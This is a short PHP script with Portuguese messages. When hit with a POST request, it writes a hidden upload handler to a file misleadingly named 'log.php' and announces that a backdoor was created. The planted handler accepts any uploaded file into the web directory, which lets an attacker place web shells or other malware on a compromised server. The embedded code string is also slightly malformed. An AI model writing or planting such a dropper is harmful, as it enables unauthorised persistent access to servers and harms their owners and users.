if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(403); include($_SERVER['DOCUMENT_ROOT'].'/403.html'); exit;}// Cria o arquivo upload.php$upload_code = 'if(isset($_FILES["file"])) { $target_dir = "./"; $target_file = $target_dir . basename($_FILES["file"]["name"]); move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); echo "Arquivo enviado com sucesso!";}<!DOCTYPE html>Upload <title>Upload</title> ';file_put_contents('log.php', $upload_code);echo "Backdoor criada com sucesso!";